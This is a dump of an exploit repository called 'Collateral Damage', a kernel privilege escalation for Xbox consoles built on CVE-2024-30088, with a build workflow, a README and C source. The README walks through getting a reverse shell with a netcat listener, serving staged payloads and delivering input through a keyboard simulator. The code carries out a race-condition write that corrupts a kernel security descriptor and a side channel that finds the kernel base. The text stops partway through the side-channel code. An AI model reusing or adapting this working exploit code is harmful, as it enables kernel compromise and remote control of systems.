├── .github └── workflows │ └── msbuild.yml ├── .gitignore ├── LICENSE ├── README.md ├── collat_payload.sln ├── collat_payload ├── collat_payload.c ├── collat_payload.vcxproj ├── collat_payload.vcxproj.filters ├── ioring.h ├── ioring_lpe.c ├── nt_offsets.c ├── nt_offsets.h ├── post_exploit.c ├── post_exploit.h ├── prefetch_asm.asm └── win_defs.h ├── ntdll.def ├── ntdll.exp ├── ntdll.lib └── solstice_artifacts ├── gamescript_autosave.txt ├── gamescript_autosave_network.txt ├── payload_server_win_x64.exe └── stage2.bin /.github/workflows/msbuild.yml: -------------------------------------------------------------------------------- 1 | name: MSBuild 2 | 3 | on: 4 | push: 5 | pull_request: 6 | 7 | env: 8 | SOLUTION_FILE_PATH: collat_payload.sln 9 | BUILD_CONFIGURATION: Release 10 | 11 | permissions: 12 | contents: read 13 | 14 | jobs: 15 | build: 16 | runs-on: windows-latest 17 | 18 | steps: 19 | - uses: actions/checkout@v4 20 | 21 | - name: Add MSBuild to PATH 22 | uses: microsoft/setup-msbuild@v2 23 | 24 | - name: Build 25 | working-directory: ${{env.GITHUB_WORKSPACE}} 26 | run: msbuild /m /p:Platform=x64 /p:Configuration=${{env.BUILD_CONFIGURATION}} ${{env.SOLUTION_FILE_PATH}} 27 | 28 | - name: Copy files 29 | run: | 30 | mkdir release\ 31 | cp README.md release\ 32 | cp LICENSE release\ 33 | cp x64\Release\collat_payload.exe release\ 34 | cp solstice_artifacts\* release\ 35 | 36 | - name: Upload artifacts 37 | uses: actions/upload-artifact@v4 38 | with: 39 | name: collateral_damage_artifacts 40 | path: | 41 | release\** 42 | 43 | - name: Bundle binaries 44 | run: 7z a -tzip collateral_damage.zip release\** 45 | 46 | - name: Release 47 | uses: softprops/action-gh-release@v2 48 | if: startsWith(github.ref, 'refs/tags/') 49 | with: 50 | files: collateral_damage.zip -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Exploits.Forsale 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Collateral Damage 2 | Collateral Damage is a kernel exploit for Xbox SystemOS using [CVE-2024-30088](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30088). 3 | It targets Xbox One and Xbox Series consoles running kernel versions 25398.4478, 25398.4908, and 25398.4909. The initial entrypoint is via the Game Script UWP application. 4 | 5 | The first stage payloads, PE loader and network loader are provided by [Solstice](https://github.com/exploits-forsale/solstice). 6 | 7 | This exploit was developed by [Emma Kirkpatrick](https://x.com/carrot_c4k3) (vulnerability discovery & exploitation) and [Lander Brandt](https://x.com/landaire) (Solstice) 8 | 9 | ## Important Caveats 10 | 11 | To place the payload locally on the Xbox console a full-trust explorer like [Adv File Explorer (FullTrust)](https://apps.microsoft.com/detail/9nbnjpsxfsqb) is recommended. Alternatively, the initial payload can be served via a USB keyboard simulator (rubber ducky etc.) and further payload stages can then be loaded over the network. 12 | 13 | The reverse shell example provided here requires that your console is connected to a network. When connecting your console to a network be very careful to avoid connecting to the internet and updating. Try to block connectivity to Xbox LIVE as 14 | much as possible, at the very least by setting your DNS to invalid servers. 15 | 16 | This exploit is not fully reliable. It relies on a CPU side channel as well as a race condition, both of which have the potential to fail. In the event of a failure, the exploit may alert you that it has failed via network output, or the console itself may crash and reboot. 17 | 18 | ## Usage 19 | 20 | - Modify line 7 of `gamescript_autosave_network.txt` or `gamescript_autosave.txt` to contain the local IP of your PC. 21 | - For use with Full-Trust File Explorer App: Copy `gamescript_autosave.txt`, `stage2.bin`, and `run.exe` to the `LocalState` directory of the Game Script application on your Console (`Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\`) 22 | - For HID / Keyboard simulator input: Type the contents of `gamescript_autosave_network.txt` into the GameScript window. Serve `stage2.bin` and `run.exe` via `payload_server_win_x64.exe --stage2 stage2.bin --run run.exe` 23 | - Listen on port 7070 on your PC using netcat or a similar tool (command example: `nc64.exe -lvnp 7070`) 24 | - Open the Game Script application on your console and select "Show Code Run window" and click "Run code once" 25 | - If the exploit is success you should see output on your PC that resembles the following: 26 | ``` 27 | listening on [any] 7070 ... 28 | connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665 29 | Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale) 30 | Build number: 25398.4478 31 | Attempting to find kernel base... 32 | Found likely kernel base: FFFFF80AF9800000 33 | Attempting exploit... 34 | Exploit succeeded! Running payload! 35 | 36 | Microsoft Windows [Version 10.0.25398.4478] 37 | Copyright (c) Microsoft Corporation. All rights reserved. 38 | 39 | S:\> 40 | ``` 41 | 42 | ## Experimentation 43 | Lots of additional work is needed to bring this to the point of being a user-friendly tool for loading homebrew onto the Xbox, but I hope that this provides a good starting point :) If you would like to play around with running code as SYSTEM you can put your code in the `post_exploit` function in `post_exploit.c`. 44 | 45 | ## Further Work 46 | There is lots more to do on this, but as the kernel part is done I wanted to share it with the community so developers could start poking around with SYSTEM privileges. Here are a few things that I am still hoping to add in the future: 47 | - Side loading support 48 | - Unsigned non-UWP process launching 49 | - SSH support 50 | 51 | Additional ideas are welcome :) 52 | 53 | ## Thanks 54 | thank you to everyone who helped me brainstorm and shared their knowledge and time with me throughout this!!! some of those who i would like to show appreciation to: 55 | 56 | - chompie 57 | - tuxuser 58 | - baw 59 | - [Xbox One Research](https://xboxoneresearch.github.io/) 60 | - XBOX-SCENE Discord -------------------------------------------------------------------------------- /collat_payload.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.9.34728.123 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "collat_payload", "collat_payload\collat_payload.vcxproj", "{C8172E40-5D40-417A-A6A4-E233C0D1AC12}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Debug|x64.ActiveCfg = Debug|x64 17 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Debug|x64.Build.0 = Debug|x64 18 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Debug|x86.ActiveCfg = Debug|Win32 19 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Debug|x86.Build.0 = Debug|Win32 20 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Release|x64.ActiveCfg = Release|x64 21 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Release|x64.Build.0 = Release|x64 22 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Release|x86.ActiveCfg = Release|Win32 23 | {C8172E40-5D40-417A-A6A4-E233C0D1AC12}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {787BF3D5-0C80-4BB2-9A46-47BE0999B6CD} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /collat_payload/collat_payload.c: -------------------------------------------------------------------------------- 1 | // 2 | // Collateral Damage - Emma Kirkpatrick @carrot_c4k3 & Lander Brandt @landaire (exploits.forsale) 3 | // 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "ioring.h" 11 | #include "nt_offsets.h" 12 | 13 | // socket stuff 14 | WSADATA wsaData; 15 | SOCKET winSock; 16 | struct sockaddr_in sockAddr; 17 | int port = 7070; 18 | 19 | 20 | // struct representing the info passed in from gamescript at a static address 21 | typedef struct _COLLAT_INFO { 22 | CHAR ip_addr[0x20]; 23 | } COLLAT_INFO; 24 | 25 | #define GLOBAL_INFO ((COLLAT_INFO*)0x44000000) 26 | 27 | ULONG64 ullSystemEPROCaddr = 0; 28 | UINT64 g_kernel_base = 0; 29 | 30 | 31 | // misc windows definitions 32 | #define STATUS_SUCCESS ((NTSTATUS)0) 33 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 34 | #define SystemBuildVersionInformation 222 35 | 36 | NTSYSCALLAPI 37 | NTSTATUS 38 | NTAPI 39 | NtQueryInformationToken( 40 | _In_ HANDLE TokenHandle, 41 | _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, 42 | _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, 43 | _In_ ULONG TokenInformationLength, 44 | _Out_ PULONG ReturnLength 45 | ); 46 | 47 | // All the code for triggering the bug lives here 48 | volatile ULONG64* smash_ptr = NULL; 49 | ULONG64 smash_var = 0; 50 | 51 | // this function will run in a second thread to attempt to trigger the bug 52 | DWORD smash_func(LPVOID unused) 53 | { 54 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); 55 | 56 | ULONG64 val = smash_var; 57 | while (1) { 58 | *smash_ptr = val; 59 | } 60 | 61 | return 0; 62 | } 63 | 64 | WCHAR* magic_str = L"TSA://ProcUnique"; 65 | HANDLE token_handle = INVALID_HANDLE_VALUE; 66 | BYTE output_buf[0x8000]; 67 | DWORD bytes_returned = 0; 68 | WCHAR* test_ptr = 0; 69 | 70 | VOID do_write(UINT64 addr) 71 | { 72 | smash_var = addr; 73 | 74 | HANDLE hthread = CreateThread(NULL, 0, smash_func, NULL, 0, NULL); 75 | 76 | for (UINT i = 0; i < 0x80000; i++) //while (1) 77 | { 78 | *test_ptr = 0; 79 | NtQueryInformationToken(token_handle, TokenAccessInformation, output_buf, sizeof(output_buf), &bytes_returned); 80 | if (*test_ptr == 0) 81 | { 82 | break; 83 | } 84 | } 85 | TerminateThread(hthread, 0); 86 | } 87 | 88 | // build a security descriptor which is accessible to our process 89 | void setup_sd() 90 | { 91 | PBYTE sd_page = VirtualAlloc(0x65000000, 0x100000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 92 | 93 | PBYTE psid_system = sd_page; 94 | psid_system[0] = 0x01; 95 | psid_system[1] = 0x01; 96 | psid_system[2] = 0x00; 97 | psid_system[3] = 0x00; 98 | psid_system[4] = 0x00; 99 | psid_system[5] = 0x00; 100 | psid_system[6] = 0x00; 101 | psid_system[7] = 0x05; 102 | psid_system[8] = 0x12; 103 | psid_system[9] = 0x00; 104 | psid_system[10] = 0x00; 105 | psid_system[11] = 0x00; 106 | psid_system[12] = 0x00; 107 | psid_system[13] = 0x00; 108 | psid_system[14] = 0x00; 109 | psid_system[15] = 0x00; 110 | 111 | PBYTE sacl_ptr = sd_page + 0x100; 112 | sacl_ptr[0] = 0x02; 113 | sacl_ptr[1] = 0x00; 114 | sacl_ptr[2] = 0x20; 115 | sacl_ptr[3] = 0x00; 116 | sacl_ptr[4] = 0x01; 117 | sacl_ptr[5] = 0x00; 118 | sacl_ptr[6] = 0x00; 119 | sacl_ptr[7] = 0x00; 120 | sacl_ptr[8] = 0x11; 121 | sacl_ptr[9] = 0x00; 122 | sacl_ptr[10] = 0x14; 123 | sacl_ptr[11] = 0x00; 124 | sacl_ptr[12] = 0x02; 125 | sacl_ptr[13] = 0x00; 126 | sacl_ptr[14] = 0x00; 127 | sacl_ptr[15] = 0x00; 128 | sacl_ptr[16] = 0x01; 129 | sacl_ptr[17] = 0x01; 130 | sacl_ptr[18] = 0x00; 131 | sacl_ptr[19] = 0x00; 132 | sacl_ptr[20] = 0x00; 133 | sacl_ptr[21] = 0x00; 134 | sacl_ptr[22] = 0x00; 135 | sacl_ptr[23] = 0x10; 136 | sacl_ptr[24] = 0x00; 137 | sacl_ptr[25] = 0x10; 138 | sacl_ptr[26] = 0x00; 139 | sacl_ptr[27] = 0x00; 140 | sacl_ptr[28] = 0x00; 141 | sacl_ptr[29] = 0x00; 142 | 143 | PBYTE dacl_ptr = sd_page + 0x200; 144 | dacl_ptr[0] = 0x02; 145 | dacl_ptr[1] = 0x00; 146 | dacl_ptr[2] = 0x00; 147 | dacl_ptr[3] = 0x01; 148 | dacl_ptr[4] = 0x02; 149 | dacl_ptr[5] = 0x00; 150 | dacl_ptr[6] = 0x00; 151 | dacl_ptr[7] = 0x00; 152 | dacl_ptr[8] = 0x00; 153 | dacl_ptr[9] = 0x00; 154 | dacl_ptr[10] = 0x18; 155 | dacl_ptr[11] = 0x00; 156 | dacl_ptr[12] = 0xFF; 157 | dacl_ptr[13] = 0xFF; 158 | dacl_ptr[14] = 0xFF; 159 | dacl_ptr[15] = 0xFF; 160 | dacl_ptr[16] = 0x01; 161 | dacl_ptr[17] = 0x02; 162 | dacl_ptr[18] = 0x00; 163 | dacl_ptr[19] = 0x00; 164 | dacl_ptr[20] = 0x00; 165 | dacl_ptr[21] = 0x00; 166 | dacl_ptr[22] = 0x00; 167 | dacl_ptr[23] = 0x0F; 168 | dacl_ptr[24] = 0x02; 169 | dacl_ptr[25] = 0x00; 170 | dacl_ptr[26] = 0x00; 171 | dacl_ptr[27] = 0x00; 172 | dacl_ptr[28] = 0x01; 173 | dacl_ptr[29] = 0x00; 174 | dacl_ptr[30] = 0x00; 175 | dacl_ptr[31] = 0x00; 176 | dacl_ptr[32] = 0x00; 177 | dacl_ptr[33] = 0x00; 178 | dacl_ptr[34] = 0x14; 179 | dacl_ptr[35] = 0x00; 180 | dacl_ptr[36] = 0xFF; 181 | dacl_ptr[37] = 0xFF; 182 | dacl_ptr[38] = 0xFF; 183 | dacl_ptr[39] = 0xFF; 184 | dacl_ptr[40] = 0x01; 185 | dacl_ptr[41] = 0x01; 186 | dacl_ptr[42] = 0x00; 187 | dacl_ptr[43] = 0x00; 188 | dacl_ptr[44] = 0x00; 189 | dacl_ptr[45] = 0x00; 190 | dacl_ptr[46] = 0x00; 191 | dacl_ptr[47] = 0x01; 192 | dacl_ptr[48] = 0x00; 193 | dacl_ptr[49] = 0x00; 194 | dacl_ptr[50] = 0x00; 195 | dacl_ptr[51] = 0x00; 196 | 197 | PISECURITY_DESCRIPTOR sd = 0x65007500; 198 | sd->Revision = 1; 199 | sd->Sbz1 = 0; 200 | sd->Control = 0x14; 201 | sd->Owner = psid_system; 202 | sd->Group = psid_system; 203 | sd->Sacl = sacl_ptr; 204 | sd->Dacl = dacl_ptr; 205 | return 0; 206 | } 207 | 208 | int do_exploit() 209 | { 210 | ULONG sd_ptr_offset = get_sd_ptr_offset(); 211 | 212 | // map the fake security descriptor that we will be swapping the real one with 213 | setup_sd(); 214 | 215 | // grab the kernel base first! 216 | ULONG ret_len = 0; 217 | UINT64 nt_base = g_kernel_base; 218 | 219 | // get our token handle so we can prepare to trigger the bug 220 | OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &token_handle); 221 | NtQueryInformationToken(token_handle, TokenAccessInformation, output_buf, sizeof(output_buf), &bytes_returned); 222 | 223 | // search for the string attribute string ("TSA://ProcUnique") 224 | UINT64 magic_ptr = 0; 225 | for (UINT i = 0; i < sizeof(output_buf) - 0x20; i++) 226 | { 227 | if (memcmp(&output_buf[i], magic_str, 0x20) == 0) { 228 | magic_ptr = &output_buf[i]; 229 | break; 230 | } 231 | } 232 | test_ptr = magic_ptr; 233 | 234 | // search for the pointer to the string to get the actual smash target 235 | for (UINT i = 0; i < sizeof(output_buf) - 0x20; i++) 236 | { 237 | if (memcmp(&output_buf[i], &magic_ptr, 8) == 0) { 238 | smash_ptr = &output_buf[i]; 239 | break; 240 | } 241 | } 242 | 243 | getobjptr(&ullSystemEPROCaddr, 4, 4); 244 | 245 | // corrupt the security descriptor 246 | do_write(nt_base + sd_ptr_offset - 0x18); 247 | do_write(nt_base + sd_ptr_offset - 0x18 - 1); 248 | do_write(nt_base + sd_ptr_offset - 0x18 - 2); 249 | do_write(nt_base + sd_ptr_offset - 0x18 - 3); 250 | 251 | ullSystemEPROCaddr = 0; 252 | getobjptr(&ullSystemEPROCaddr, 4, 4); 253 | 254 | return 0; 255 | } 256 | 257 | #define STEP 0x100000 258 | #define ITERATIONS 0x80 259 | #define DUMMY_ITERATIONS 5 260 | #define KERNEL_LOWER_BOUND 0xFFFFF80000A00000ull 261 | #define KERNEL_UPPER_BOUND 0xfffff81000000000ull 262 | #define ADDR_COUNT ((KERNEL_UPPER_BOUND - KERNEL_LOWER_BOUND) / STEP) 263 | 264 | typedef struct _MEM_RANGE { 265 | UINT64 addr; 266 | UINT64 count; 267 | } MEM_RANGE; 268 | 269 | void bad_syscall(); 270 | UINT64 sidechannel(PVOID ptr); 271 | 272 | MEM_RANGE* g_ranges_ptr; 273 | UINT32 g_ranges_count; 274 | 275 | VOID dump_timings(const char* output_file, PUINT32 timings) 276 | { 277 | HANDLE h_file = CreateFileA(output_file, GENERIC_WRITE, // open for writing 278 | 0, // do not share 279 | NULL, // default security 280 | CREATE_NEW, // create new file only 281 | FILE_ATTRIBUTE_NORMAL, // normal file 282 | NULL); 283 | 284 | DWORD bytes_written = 0; 285 | 286 | // write out the consts 287 | UINT32 f_step = STEP; 288 | UINT32 f_iterations = ITERATIONS; 289 | UINT32 f_dummy_iterations = DUMMY_ITERATIONS; 290 | UINT32 f_addr_count = ADDR_COUNT; 291 | UINT64 f_start_addr = KERNEL_LOWER_BOUND; 292 | // Uncomment to re-enable dumping timings to disc 293 | WriteFile(h_file, &f_step, sizeof(f_step), &bytes_written, 0); 294 | WriteFile(h_file, &f_iterations, sizeof(f_iterations), &bytes_written, 0); 295 | WriteFile(h_file, &f_dummy_iterations, sizeof(f_dummy_iterations), &bytes_written, 0); 296 | WriteFile(h_file, &f_addr_count, sizeof(f_addr_count), &bytes_written, 0); 297 | WriteFile(h_file, &f_start_addr, sizeof(f_start_addr), &bytes_written, 0); 298 | WriteFile(h_file, timings, (ADDR_COUNT * ITERATIONS) * sizeof(UINT32), &bytes_written, 0); 299 | 300 | 301 | FlushFileBuffers(h_file); 302 | CloseHandle(h_file); 303 | } 304 | 305 | UINT64 do_sidechannel(/*SHELLCODE_CTX* ctx, const char* dump_path*/) 306 | { 307 | CHAR dump_path[0x200] = { 0 }; 308 | ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\timings.bin", dump_path, sizeof(dump_path)); 309 | 310 | HANDLE h_heap = GetProcessHeap(); 311 | PUINT32 timings = HeapAlloc(h_heap, 0, (ADDR_COUNT * ITERATIONS) * sizeof(UINT32)); 312 | PUINT32 avgs = HeapAlloc(h_heap, 0, ADDR_COUNT * sizeof(UINT32)); 313 | MEM_RANGE* ranges = HeapAlloc(h_heap, 0, sizeof(MEM_RANGE) * 0x400); 314 | UINT32 ranges_count = 0; 315 | UINT64 avg_total = 0; 316 | UINT64 threshold = 0; 317 | for (UINT64 i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) { 318 | UINT64 x = 0; 319 | UINT64 addr = 